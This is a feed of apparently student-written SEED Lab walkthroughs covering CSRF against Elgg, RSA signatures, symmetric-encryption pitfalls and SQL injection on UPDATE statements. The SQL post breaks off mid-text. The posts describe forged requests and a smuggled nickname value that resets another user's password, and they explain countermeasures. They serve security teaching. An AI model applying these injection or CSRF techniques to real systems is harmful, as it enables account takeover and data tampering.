src="https://cdn-images-1.medium.com/max/691/1*N0MfVkEH-BFfpFCXpmZuJA.png" /></figure><p>Open the HTTP live header while saving the description, which captures the parameter i.e.: Samy’s guid = 59.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/1*h2Mx4SdHcRXMcWIaasPE4w.png" /></figure><p>Open the attacker’s docker and alter the editprofile.html file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*gP9S2ROjiw0woJfU3oLIWw.png" /></figure><p>Modify the content of the editprofile.html file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/717/1*hWtFseMz307mlS2wWhrtlQ.png" /></figure><p>See the modified content by using the cat command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*Ssy9uws9CryffSobw5aMjw.png" /></figure><p>On Elgg, open Alice’s account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*RKifoScjI-UJbc2NwUY68g.png" /></figure><p>On <a href="http://www.attacker32.com/">www.attacker32.com</a>, click Edit-Profile Attack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*vcmyXuKcZ148GpiRrYOtPA.png" /></figure><p>Script will be executed, and text shown on Alice’s account when we refresh the page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/1*cpquXN-z-zkgskkEpthLIw.png" /></figure><p><strong>Answer of Q1:</strong></p><blockquote>Bobby will log in to his Elgg account, then he will navigate to the Members tab where he will see many members. He will click on Alice’s profile, and open the HTTP live header. As Bobby sends a friend request to Alice, the HTTP live header will capture the parameter including guid i.e.: 56.</blockquote><p><strong>Answer of Q2:</strong></p><blockquote>No, CSRF does not work without knowing guid, because any request executed for a malicious website, should have an active live session. For example, if Alice logs in, then the request will execute, and it is a must to have a guid as the script executes for a particular guid.</blockquote><h3>4. Task: Turn on the countermeasure</h3><p>After applying countermeasures, no malicious script will be executed. In the attacker’s docker, alter the CSRF.php file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*PJntwulFFBrS01f2ALaf7A.png" /></figure><p>Comment on the return function to enable the CSRF countermeasure.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*qcW-4dw4kO7QXR1fyBVw-Q.png" /></figure><p>Login to Alice’s account and edit his profile by removing the “Alice is hacked”, and “Samy is My hero” descriptions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*5ovzYIENw3filc2HWtVUxQ.png" /></figure><p>Remove Samy from friends.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/688/1*2srOUdsFZZHVX_f5xtzE0g.png" /></figure><p>Samy was removed successfully.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/704/1*PVVgFaIS9BAA6WyweNVbXA.png" /></figure><p>Execute Add-Friend malicious script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*nr6gQkCZRCvvDFlGSwSOMA.png" /></figure><p>Missing token on Alice’s profile.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/737/1*Ptd0o3Uqgv8YPINCKx2SqQ.png" /></figure><p>Execute Edit-Profile malicious script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*xLek-X2ZVh-ogcvxPgPHCQ.png" /></figure><p>Missing undefined tokens on Alice’s profile.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/1*hP0OjglDdco51VKRab2piQ.png" /></figure><h3>5. Task: Experimenting with the SameSite Cookie Method:</h3><p>See <a href="http://www.example32.com/">www.example32.com</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/1*DLbGWhDkR8kGhtb9lR2Qlw.png" /></figure><p>View page source, which shows that <a href="http://www.example32.com/">www.example32.com</a> is a real site, while <a href="http://www.attacker32.com/">www.attacker32.com</a> is a redirecting site.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*CyK6dTljf9nniC8-CIifng.png" /></figure><p>On the real site, click link A, then click the URL.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/733/1*QCjPBmLBs6VLUXQy-SB0-Q.png" /></figure><p>The same-site request and 3 types of cookies work here i.e.: normal, lax, and strict.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/1*Vsi_RZRYPdtUF5oSnFjwwA.png" /></figure><p>On the real site, click link B, then click the URL.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/744/1*R5i4Ddy7fh3qaZlVzOqN2Q.png" /></figure><p>The cross-site request and 2 types of cookies work here i.e.: normal and lax.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*4ReLV8JQAsYrpvx_01HFUw.png" /></figure><p>Click the post request form.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/746/1*IbgNclxYaIZrm9tXzKh1yg.png" /></figure><p><strong>Answer of Q1:</strong></p><blockquote>When we are on our website, then all 3 cookies are executed but when we reach our website from the attacker’s website, the strict cookies aren’t executed, because strict cookies only execute on the original website.</blockquote><p><strong>Answer of Q2:</strong></p><blockquote>The strict cookies are not available in cross-site, so the session will not execute. As a result, CSS does not occur. The strict cookies are only available on the same site.</blockquote><p><strong>Answer of Q3:</strong></p><blockquote>If we apply strict cookies in this app, then the request will not execute. Here, we used a lax cookie, so the request was executed but due to authentication, the request was not accepted.</blockquote><h3>6. Conclusion:</h3><p>The report discusses the exploitation of CSRF vulnerabilities in Elgg and the attacks based on both GET and POST requests. The attacker can forge a request header and trigger actions on behalf of a victim. The attacks can be mitigated through the implementation of CSRF tokens and the use of SameSite cookie policies. These defenses rely on the existence of secure coding practices that check tokens and restrict cookie attributes in protecting against CSRF threats within web applications.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bc9d5ce573fc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[RSA Public-Key Encryption and Signature | Seed Lab]]></title>
            <link>https://medium.com/@aquarz555/rsa-public-key-encryption-and-signature-seed-lab-2c20ef997733?source=rss-43952f5517cd------2</link>
            <guid isPermaLink="false">https://medium.com/p/2c20ef997733</guid>
            <category><![CDATA[rsa]]></category>
            <category><![CDATA[digital-signatures]]></category>
            <category><![CDATA[encryption]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[seed-lab]]></category>
            <dc:creator><![CDATA[Roman Zaib]]></dc:creator>
            <pubDate>Mon, 12 Jan 2026 08:10:08 GMT</pubDate>
            <atom:updated>2026-01-12T08:10:08.829Z</atom:updated>
            <content:encoded><![CDATA[<h3>Task 1: Derivation of Private Key</h3><p><strong>Goal: </strong>Compute the private key using the public information of two prime numbers and the public exponent.</p><p><strong>Procedure:</strong></p><p>1. Use two sufficiently large primes, p and q.</p><p>2. The product of p and q is n.</p><p>3. Use Euler’s totient function φ(n) = (p — 1)(q — 1) for evaluation.</p><p>4. Select a public exponent e such that, e is coprime with φ(n).</p><p>5. Solve for the private exponent d, given that (e * d) ≡ 1 (mod φ(n)), so that d is the modular inverse of e mod φ(n).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*jejWRVtp0ih7U9Njg0RNfQ.png" /></figure><p><strong>Outcome:</strong> The public key consists of the pair (e, n), while the private key is (d, n).</p><h3>Task 2: Encryption of a message</h3><p><strong>Goal: </strong>It changes a plaintext message into an unreadable ciphertext message using the public key.</p><p><strong>Steps:</strong></p><p>1. Convert the plaintext message into some numerical representation (for example, change ASCII codes to hexadecimal).</p><p>2. Interpret the resulting number as a large integer M, ensuring that M is smaller than n.</p><p>3. Use the public key (e, n) to encrypt M into ciphertext C by raising M to the e power, modulo n.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*iID60XriEEXm7KWDTvi4zw.png" /></figure><p><strong>Outcome:</strong> The only person who can reverse the process is the party that owns the matching private key.</p><h3>Task 3: Decryption of a message</h3><p><strong>Goal:</strong> Generate the original plaintext from ciphertext using the private key.</p><p><strong>Steps:</strong></p><p>1. Take the ciphertext C as a large number.</p><p>2. Using the private key (d, n), raise C to the d power, modulo n, to create the original message M.</p><p>3. Convert the resulting number back into its original string format (from hex to ascii).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*pREmTA6Cy4HROPQ5aiFnQw.png" /></figure><p><strong>Outcome:</strong> Successful message recovery confirms the keys match and the algorithm was performed correctly.</p><h3>Task 4: Signing a Message</h3><p><strong>Goal:</strong> Show the authenticity and integrity of a message.</p><p><strong>Steps:</strong></p><p>1. Transform the message into numerical form.</p><p>2. Use the sender’s private key (d, n) to this number by raising it to the d power mod n and obtain a signature.</p><p>3. Make a subtle change to the original message (for example, tweak a value) and sign again.</p><p>4. Compare the two signatures.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*zelHIMQGWoeeuhR0zGpDeA.png" /></figure><p><strong>Observation:</strong> Even a small change to the message will result in a completely different signature which is very sensitive and evidence of tampering.</p><h3>Task 5: Verifying a Signature</h3><p><strong>Goal:</strong> Assert that the signature was produced by the expected sender and the message was not altered.</p><p><strong>Steps:</strong></p><p>1. Receive the message and its signature.</p><p>2. Transform the message to numerical form.</p><p>3. Using the sender’s public key (e, n), transform the signature by raising it to the e power mod n.</p><p>4. Compare the results with the numerical version of the received message.</p><p>5. Take the signature and induce a small corruption (e.g., flip one bit) and verify again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*dRy-2o84lTW5D-8iMxpuqA.png" /></figure><p><strong>Outcome:</strong></p><p>● A valid signature corresponds with the message — successful verification.</p><p>● A corrupted signature generates a non-meaningful result — failed verification evidencing robustness-resistance to tampering.</p><h3>Task 6: Manual Validation of an X.509 Certificate</h3><p><strong>Goal:</strong> To verify that a server’s public key certificate is genuine without using tools.</p><p><strong>Steps:</strong></p><ol><li>Get the server’s X.509 certificate and the CA certificate that issued it while online with a web server.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*5e2dcDZAPs2V8HWR-RvK9g.png" /></figure><p>2. Obtain the public key of the CA (the (e, n) values of the CA from the issuer certificate.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*JUEeY-fiqRQy6-wbVkVprw.png" /></figure><p>3. Isolate the part of the server certificate that is the signature.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*yV16DHQ7WQ5DGtEca8f4wg.png" /></figure><p>4. Parse the server’s certificate structure to identify the certificate body (anything but the signature).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*s1lI-U84bJ0370iu_t0X7w.png" /></figure><p>5. Compute a cryptographic hash (SHA-256) from the certificate body.</p><p>6. Decrypt the server signature using the CA’s public key (the (e, n) public values) to obtain a hash value.</p><p>7. Compare the computed hash value and the decrypted hash value (or what is referred to as the signature).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*I6Lv8ocGQnSeq_so1NB09w.png" /></figure><p><strong>Outcome:</strong> Your hashes would match meaning the certificate was actually issued from the CA and was not modified.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2c20ef997733" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SEED Labs: Secret-Key Encryption Lab — Full Walkthrough & Insights]]></title>
            <link>https://medium.com/@aquarz555/seed-labs-secret-key-encryption-lab-full-walkthrough-insights-8f3533c301c9?source=rss-43952f5517cd------2</link>
            <guid isPermaLink="false">https://medium.com/p/8f3533c301c9</guid>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[encryption]]></category>
            <category><![CDATA[secret-key-encryption]]></category>
            <category><![CDATA[seed-lab]]></category>
            <category><![CDATA[seed-lab-solution]]></category>
            <dc:creator><![CDATA[Roman Zaib]]></dc:creator>
            <pubDate>Thu, 20 Nov 2025 08:59:31 GMT</pubDate>
            <atom:updated>2025-11-20T08:59:31.366Z</atom:updated>
            <content:encoded><![CDATA[<h3>SEED Labs: Secret-Key Encryption Lab — Full Walkthrough &amp; Insights</h3><p><strong>By: Roman Zaib</strong></p><p>In this SEED Labs exercise, I explored the foundations of <strong>secret-key (symmetric) encryption</strong>, practiced using OpenSSL tools, manually edited binary files, and analyzed how different encryption modes behave under real-world conditions. This hands-on lab strengthened my understanding of key cryptographic concepts such as padding, error propagation, frequency analysis, IV behavior, and key recovery techniques.</p><p>Below is a complete breakdown of my experience, tasks, observations, and takeaways.</p><h3>🧰 Lab Environment Setup</h3><p>The virtual machine (VM) included OpenSSL binaries, but I needed the full OpenSSL library to run encryption/decryption operations programmatically. I installed and compiled OpenSSL using:</p><pre>sudo ./config<br>sudo make<br>sudo make test<br>sudo make install</pre><p>For binary and hex-level editing, I used <strong>GHex</strong>, which was preinstalled. The VM also supported <strong>Bless</strong>, a graphical hex editor, available via:</p><pre>sudo apt-get install bless</pre><p>With this environment ready, I proceeded through the tasks one by one.</p><h3>🧪 Lab Tasks &amp; Results</h3><h3>3.1 Task 1 — Frequency Analysis &amp; Baseline Encryption</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*ol3msadrBvrFXP4t9FkcAA.png" /></figure><p>I selected an online article, saved it as article.txt, and pre-processed it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*P0ioVpTx7K60a7NKVAdcyQ.png" /></figure><ul><li>converted all letters to lowercase</li><li>removed punctuation</li><li>removed numbers</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*mDYueM6IS1wQdcnUmiLAWg.png" /></figure><p>Then I encrypted it using tr and reviewed the provided ciphertext in the lab bundle.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*7urUoMwa8JNxzv4IVwvZwQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*IJmrCjoELQw1QJzgz5E-fw.png" /></figure><p>By comparing frequent English words such as <em>the</em> or <em>and</em>, I observed how plaintext frequency patterns can leak into ciphertext — especially when weak encryption methods are used. This is the same principle behind classical cipher cracking.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*bP4h3FpyBrWWX65s97MXiw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*FIwGgPU9H7GuOa0EmRCYtg.png" /></figure><h3>3.2 Task 2 — Encryption with Different Ciphers &amp; Modes</h3><p>Using the openssl enc command, I experimented with several ciphers:</p><h4>✔️ AES-CFB</h4><p>Encrypted successfully, but I couldn’t decrypt — even with the correct password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*sdZMHLKG-6vwoEOdCXYnsw.png" /></figure><p>This likely resulted from incorrect flags or missing IV specifications, which are critical for stream-based modes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*eNBmLonWPyZyskMYEQirDw.png" /></figure><h4>✔️ AES-CBC &amp; Blowfish-CBC</h4><p>Both encrypted and decrypted cleanly.<br> Blowfish produced a <strong>binary ciphertext</strong>, expected from block ciphers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*Am3WGStBTlUqsspCEPZu3Q.png" /></figure><p>This reinforced the importance of understanding:</p><ul><li>which modes require IVs</li><li>how to supply keys</li><li>why decryption fails if parameters don’t match encryption</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*p1Ml2mGatyEaOoRG-L78oA.png" /></figure><h3>3.3 Task 3 — Image Encryption: ECB vs. CBC</h3><p>I encrypted pic_original.bmp with both AES-ECB and AES-CBC.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/574/1*dM_lfkV46w7klDPtWoxg-Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/525/1*GVfSgLrTvMJ9Ov4nSMUKIQ.png" /></figure><p>Then, using GHex:</p><ol><li>I copied the original BMP header (first 54 bytes).</li><li>Inserted it into both encrypted BMP files.</li><li>Opened them in an image viewer.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/288/1*aRtCIIfRDj1seQnnDFFIcw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/288/1*dXcUqEBQntk-trgh4SaW1A.png" /></figure><h4>🔍 Findings:</h4><ul><li><strong>ECB mode revealed patterns</strong> of the original image — a classic ECB weakness.</li><li><strong>CBC mode appeared fully scrambled</strong> due to IV chaining.</li></ul><p>This visually demonstrated why ECB must <em>never</em> be used for sensitive data.</p><h3>3.4 Task 4 — Padding Behavior</h3><h4>Part 1:</h4><p>A 6-byte plaintext encrypted to a 16-byte output, confirming padding is required for block modes (ECB/CBC).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*rYPa407DZP0ZTQawuUuDQQ.png" /></figure><p>CFB and OFB, being <strong>stream modes</strong>, do not require padding.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*ws0EE85v6PWTMgNzwaaMRg.png" /></figure><h4>Part 2:</h4><p>I created files of 5, 10, and 16 bytes:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*5IMYu0ah0X-KhJj6AKZy1g.png" /></figure><ul><li>5-byte → padded to 16</li><li>10-byte → padded to 16</li><li>16-byte → padded <em>again</em> to 32 bytes</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*3BLhGccfe-BJAgZkOoOCeA.png" /></figure><p>Using -nopad, I saw unprintable characters marking PKCS#5 padding.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*4plmA8WmWf6w87AeJvSmsQ.png" /></figure><p>A key lesson:<br> <strong>Block ciphers always pad — even exact block sizes.</strong></p><h3>3.5 Task 5 — Error Propagation Analysis</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*BhJbdzHgJntvRuKNlAbwFA.png" /></figure><p>I flipped one bit (E0 → 60) at byte 30 of an AES-CBC encrypted file, then decrypted in multiple modes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*W49GYuubVz7J0lzUMOh79Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/1*C-kvmd3p99DqNksi57Y3JA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*raKl_n70H4uA3nag57E7VQ.png" /></figure><h4>🔍 Results:</h4><ul><li><strong>ECB:</strong> widespread corruption</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*knjEvQc9hTLeVOH8XPWVYw.png" /></figure><ul><li><strong>CBC:</strong> corruption propagated into the next block</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*GalUKho2T8F7mCDBAG9cLA.png" /></figure><ul><li><strong>CFB:</strong> corruption limited to a small portion</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*qr28GsjlDSvnD2e9-hhVRw.png" /></figure><ul><li><strong>OFB:</strong> only one character affected</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*RG00WRriZVPh_Ie-EUYLZQ.png" /></figure><p><strong>OFB was the strongest</strong>, since stream modes isolate errors while block modes propagate them.</p><p>This is critical for applications where single-bit accuracy matters (e.g., streaming audio or video).</p><h3>3.6 Task 6 — IV Behavior &amp; XOR Analysis</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*HqZzeAO27fiL_SeplvK4EA.png" /></figure><h4>✔️ Part 1: IV Reuse</h4><p>I generated AES keys and multiple IVs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*d8_8gpnTjWyqv0ZdvzNDgg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*CNiltPvKQSwOdh82wt4glg.png" /></figure><p>Observations:</p><ul><li>Different IVs → completely different ciphertexts</li><li>Same IV reused → identical ciphertexts</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*P6A7R-IA0JjwjGsWoyMMSw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*tJw54Wm-22j54J3LTb8ELQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*kzXoC6NVk7oGYgG7Yx-rXg.png" /></figure><p>This process why IV reuse is dangerous:<br> Attackers can compare ciphertext patterns across messages.</p><h4>✔️ Part 2: Keystream Recovery with XOR</h4><p>I converted plaintext p1 to hex and XORed it with ciphertext c1 to derive the <strong>keystream</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*SRZt7lmfuAbQL1XrzPQo0w.png" /></figure><p>Then I XORed the keystream with ciphertext c2 and recovered:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*bQQ9IxxWyY605DGwkCFlsA.png" /></figure><blockquote><strong><em>“Order: Launch a missile!”</em></strong></blockquote><p>This demonstrated how keysream reuse can fully reveal secret messages.</p><h4>✔️ Part 3: Matching Bob’s Ciphertext</h4><p>My code matched the first 32 characters of Bob’s ciphertext, verifying that his plaintext was simply:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*QXSkfdatbG4USc_pkcZAZQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*GLKu5QVI2uZSfUWLKECnsA.png" /></figure><blockquote><strong><em>“yes”</em></strong></blockquote><p>This showed how predictable plaintext under repeated IVs or keystream reuse can be exposed.</p><h3>3.7 Task 7 — Key Recovery Program</h3><p>Knowing the AES-128-CBC key was:</p><ul><li>an English word</li><li>padded with spaces to 16 bytes</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*Gmu6GwxpAApO0KoFaoy4bg.png" /></figure><p>I wrote a brute-force key recovery script.</p><p>Process:</p><ol><li>Load dictionary words</li><li>Pad each with spaces</li><li>Attempt decryption</li><li>Check if plaintext matches expected sentence</li></ol><p>The program successfully recovered the correct key.</p><p>This demonstrated a real-world vulnerability:<br> <strong>Weak, guessable keys make strong ciphers useless.</strong></p><h3>📝 3. Additional Observations</h3><h4>✔️ Entropy Behavior</h4><p>/proc/sys/kernel/random/entropy_avail increased when typing or moving the mouse.<br> This showed how the kernel gathers randomness from physical inputs.</p><h4>✔️ /dev/random (blocking)</h4><p>Blocked when entropy was low and resumed after I provided physical input.</p><h4>✔️ /dev/urandom (non-blocking)</h4><p>Produced random bytes continuously.<br> Ideal for cryptographic applications where blocking is unacceptable.</p><h3>🎯 Conclusion</h3><p>This SEED Lab deepened my understanding of secret-key encryption from both a <strong>cryptographic theory</strong> and <strong>hands-on attacker/defender</strong> perspective.</p><p>Key takeaways:</p><h4>🔐 Core Concepts Learned</h4><ul><li>Block vs. stream ciphers</li><li>CBC vs. ECB behavior</li><li>Padding mechanisms</li><li>IV generation and reuse risks</li><li>Error propagation patterns</li><li>Frequency analysis fundamentals</li></ul><h4>🧨 Attack Techniques</h4><ul><li>Keystream recovery</li><li>IV reuse exploitation</li><li>Weak key brute-forcing</li></ul><h4>🛡️ Defensive Practices</h4><ul><li>Use strong, unpredictable keys</li><li>Never reuse IVs</li><li>Avoid ECB mode</li><li>Understand padding implications</li><li>Ensure sufficient entropy for secure RNG</li></ul><p>This lab significantly improved my comfort with cryptographic programming, OpenSSL operations, and practical encryption analysis. It reinforced how even small misconfigurations in cryptography can lead to major vulnerabilities.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8f3533c301c9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SQL Injection Attack SEED Labs (Part 2 )]]></title>
            <link>https://medium.com/@aquarz555/sql-injection-attack-seed-labs-part-2-9c78917757e8?source=rss-43952f5517cd------2</link>
            <guid isPermaLink="false">https://medium.com/p/9c78917757e8</guid>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[solutions]]></category>
            <category><![CDATA[sql]]></category>
            <category><![CDATA[seed-lab]]></category>
            <category><![CDATA[writeup]]></category>
            <dc:creator><![CDATA[Roman Zaib]]></dc:creator>
            <pubDate>Tue, 18 Nov 2025 09:35:26 GMT</pubDate>
            <atom:updated>2025-11-19T11:33:28.077Z</atom:updated>
            <content:encoded><![CDATA[<p>In the second half of this SQL Injection lab, we move beyond simple SELECT‑based attacks and explore how insecure UPDATE statements can be abused to <strong>modify data, escalate access, change salaries, reset passwords</strong>, and how <strong>prepared statements</strong> finally neutralize these risks.</p><p>This part demonstrates how attackers can go from reading sensitive records to <strong>changing</strong> them — and why secure coding practices are mandatory in any real application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*nbQrY_QgsWfdGuP_hKC8wg.png" /></figure><h3>🔷 Task 3 — SQL Injection Attack on the UPDATE Statement</h3><p>The SEED application allows employees to edit their profile information — and this is where the real danger begins.</p><h4>✏️ Editing a Profile &amp; Leaking the SQL Query</h4><p>🔹Open Alice’s profile → edit any field → save changes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*jE780NWNkfkWpBij--xzpw.png" /></figure><p>🔹Check the database with SELECT * FROM credentials — the update is reflected instantly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*Ljr29XQ6A6-1AWuMyKtkvg.png" /></figure><p>🔹In unsafe_edit_backend.php, inserting echo &#39;SQL:&#39; . $sql; reveals the exact UPDATE query being executed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*TudsNDjD20vfk09iIdJ8_g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*oTQRcY_g8cagMdP4FJ7gDw.png" /></figure><p>🔹After copying the modified file into the container (docker cp ...), the SQL query is printed right on the webpage — confirming the vulnerable code path.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*vha0ETwE1o1FeWFj-0udLA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*xFET-4nrf2s1FFRethLvrQ.png" /></figure><p>🔹After toggling multi_query back to query and reloading the page, the injected SQL becomes visible through $_SESSION[&#39;PROFILE_SQL&#39;].</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*uIH_Pf00rFHvz4J2Ns2Few.png" /></figure><p>🔹This gives us a perfect window into how the backend builds the UPDATE statement.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*YOoYeMcVIoy2Y2x1Zk9FBA.png" /></figure><h3>🔷 Task 3.1 — Modify Your Own Salary Using SQL Injection</h3><p>🔹The nickname field is not validated, allowing SQL code to be injected directly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*AKQBoWzdDpiXtooTWJ22dQ.png" /></figure><p>🔹Go to <strong>Edit Profile</strong>. In the nickname field, enter a malicious payload such as:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*9pgAnWRHza3zS4D1LtK5qA.png" /></figure><p>🔹Save the changes. Your salary in the DB updates instantly — a clear example of <strong>privilege escalation through UPDATE injection</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*DhTymyCDtKTmOtDtnrJFSA.png" /></figure><p>🔹The bottom section of the page confirms the raw SQL executed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*Gz7aGQRdpc07Ii7rlgvUOg.png" /></figure><h3>🔷 Task 3.2 — Modify Another User’s Salary</h3><p>🔹With the profile ID known (id=1 for Boby), we can tamper with someone else’s data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*0CdM1WFqCFo3O9KfFObqJQ.png" /></figure><p>🔹Inject into the profile edit field:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*mvMKdUOVw96hfdF6azGCfw.png" /></figure><p>🔹Reload the page and check with SELECT * FROM credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*8qGQeaI4mkJ-1t21WWhayA.png" /></figure><p>🔹Boby’s salary changes silently — proving that the system completely trusts user input.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*S0Bp-k8XAfStazOuDk7KdA.png" /></figure><p>🔹This demonstrates how attackers can <strong>alter corporate payroll records</strong> with a single HTTP request.</p><h3>🔷 Task 3.3 — Reset Another User’s Password</h3><p>🔹SQL injection into UPDATE also lets an attacker <strong>change a coworker’s password</strong>, gaining full account access. Edit Alice’s nickname with: password=sha(‘123’)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*q_kVNdQv2MfJH9K4B7cwAg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*PB6qHFdcVgyPZTVT-XhozQ.png" /></figure><p>🔹Generate the SHA‑1 hash via terminal:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*MxnTbVFA1Hecd9RdaVoYbw.png" /></figure><p>🔹Login as Boby using the new password <strong>123</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*-LdogZERU62i3og2kHhRyg.png" /></figure><p>🔹The attack succeeds — we now control another employee’s account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*zq8JEtMwWZmSWOR9QNTLXw.png" /></figure><p>🔹This is exactly how real‑world attackers escalate from low‑privileged to high‑privileged accounts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*yJCA-U5PENodKyqyXe0HJw.png" /></figure><h3>🛡️ Task 4 — Countermeasure: Prepared Statements</h3><p>After proving the vulnerabilities, the final step is implementing a proper defense.</p><h4>✔️ Switching from vulnerable SQL to prepared statements</h4><p>Open the defense page. and login with Alice’s credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*J1qd3bMA87aLgHM_fHZ_yA.png" /></figure><figure><img alt="" 